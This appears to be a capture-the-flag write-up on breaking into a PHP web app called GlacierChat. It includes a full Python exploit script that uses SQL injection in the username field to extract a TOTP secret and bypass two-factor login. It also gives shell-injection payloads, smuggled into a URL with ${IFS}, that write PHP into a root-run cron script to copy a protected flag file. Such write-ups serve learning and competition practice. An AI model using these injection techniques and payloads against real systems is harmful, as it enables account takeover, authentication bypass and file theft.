We are happy to launch our new GlacierChat this year.
Hi! This challenge was quite difficult, but I managed to solve it. Here’s a detailed write-up of how I did it.
After opening the website, I found a login form and a link to reset the password. While examining the code, I discovered an interesting parameter: is_tenant
. If its value was set to 1
, a “debug” notification appeared, revealing the password reset code.
Using this information, I accessed the /set_new_password.php
endpoint, which allowed me to reset the password.
FIRST SUCCESS!
Upon further exploration, I discovered the application used a dual authentication mechanism. By reading the code, I identified that the application leveraged OTPHP for generating and validating one-time passwords (OTPs). To better understand how OTPHP worked, I ran the challenge locally with debug prints.
In the database, there was a field called secret_totp
, which stored a token. This token was validated by the OTPHP library after being converted into numbers.
OTPHP is a PHP library that generates one-time passwords (OTPs) based on:
These algorithms are widely used for two-factor authentication (2FA). OTPHP simplifies the implementation of these algorithms in PHP applications.
(Thanks to ChatGPT for the quick explanation!)
In the page footer, I noticed the current time displayed. This could be converted into a timestamp for use in generating OTPs. But how could I extract the secret_totp
?
After digging through the code for a few hours, I came across this snippet:
$stmt = $db->prepare("SELECT password_cost FROM $users_table WHERE reset_code = :code AND username = '$username'");
$stmt->bindValue(":code", $code, SQLITE3_TEXT);
$stmt->bindValue(":username", $username, ...);
Here’s what I found:
$username
parameter was not validated properly."Successfully reset password"
regardless of whether the reset code was valid, due to the placement of the print statement.I could confirm whether the reset succeeded by attempting to log in with the new password.
Once I gathered all the necessary information, I crafted an exploit to reset the password and gain access. Upon success, I obtained a session cookie with credentials for the dashboard.
import pwn
import requests
import concurrent.futures
import time
import sys
import re
import pyotp
from datetime import datetime
headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Priority": "u=0, i",
"Te": "trailers"
}
cookies = {
"PHPSESSID": "2l22enmb5771kj2tojhaojqnhp"
}
key_ = ""
def send_otp_request(data, endpoint):
global cookies
response = requests.post(url_main + endpoint, headers=headers, cookies=cookies, data=data)
if "Set-Cookie" in response.headers:
new_session = extract_phpsessid(response.headers["Set-Cookie"])
if new_session:
cookies["PHPSESSID"] = new_session
print(f"Zaktualizowano PHPSESSID: {new_session}")
return response
def extract_phpsessid(set_cookie_header):
match = re.search(r"PHPSESSID=([a-zA-Z0-9]+);", set_cookie_header)
if match:
return match.group(1)
return None
def extract_reset_code(response_text):
match = re.search(r"Reset code (\w+) uses custom prefix", response_text)
if match:
return match.group(1)
return None
def first_step(payload, offset):
data = {
"form_name": "reset",
"username": "admin",
"is_tenant": "1"
}
response = send_otp_request(data, "/reset.php")
code_reset = extract_reset_code(response.text)
print(code_reset)
##############################################################################################################3
# sys.exit()
return new_password(code_reset, payload, offset)
def new_password(code_reset, payload, offset):
data = {
"form_name": "set_new_password",
"code": code_reset,
"username": f"admin' AND SUBSTRING(totp_secret, {offset}, 1) == '{payload}",
"password": code_reset,
"password_confirm": code_reset
}
print(f"admin' AND SUBSTRING(totp_secret, {offset}, 1) == '{payload}")
response = send_otp_request(data, "/set_new_password.php")
print(f"off: {offset} Payl: {payload}")
if login_to(code_reset) == True:
global key_
print(payload)
key_ += payload
return True
def login_to(new_password):
data = {
"form_name": "login",
"username": "admin",
"password": new_password
}
response = send_otp_request(data, "/login.php")
# print(response.text)
if "Wrong credentials" in response.text:
return False
else:
return True
def convert_time(data):
date_string = data
dt_object = datetime.strptime(date_string, "%a, %d %b %Y %H:%M:%S %z")
return int(dt_object.timestamp())
def get_time_from_page():
response = requests.get(url_main+"/login.php")
pattern = r"[A-Za-z]{3}, \d{2} [A-Za-z]{3} \d{4} \d{2}:\d{2}:\d{2} \+\d{4}"
matches = re.findall(pattern, response.text)
return matches
url_main = "https://8cab891804e0738b14747428d79742fe.glacierchat.web.glacierctf.com" # Adres URL
def two_auth(otp):
data = {
"form_name": "totp",
"totp": otp
}
response = send_otp_request(data, '/totp.php')
print(response.text)
for offsety in range(1,9):
for payl in "ABCDEFGHIJKLMNPQRSTUVWXYZ234567":
first_step(payl, offsety)
print(key_)
data_page = get_time_from_page()[0]
data_timestamp = convert_time(data_page)
totp = pyotp.TOTP(key_)
token = totp.at(data_timestamp)
print(token)
two_auth(token)
print(cookies["PHPSESSID"])
On the dashboard, I found a form to add jokes with an option to upload a media URL. I tested the input field with this payload:
;"ad;as'd;asd'as;d"
From the resulting error (Base64-encoded), I discovered the application was using shell commands, leading to a potential command injection vulnerability.
The input field strictly validated URLs. Using %20
(a space character in URLs) didn’t work in the shell.
After several hours of testing, I found a way to bypass the restrictions and copy the flag to the website directory without proper permissions.
cron.php
While exploring further, I found a script called cron.php
, which was triggered at intervals with root permissions. This gave me the perfect opportunity to inject malicious code.
Here are the payloads I used to extract the flag:
ftp://example.com/;echo${IFS}"<?php">>/var/www/cron.php
ftp://example.com/;echo${IFS}'$lol1=file_get_contents("/flag.txt");'>>/var/www/cron.php
ftp://example.com/;echo${IFS}'file_put_contents("/var/www/html/assets/main.css",$lol1,FILE_APPEND);'>>/var/www/cron.php
After successfully injecting the payloads, I navigated to main.css
in the application directory. The flag was stored there. 🎉
Challenge Complete!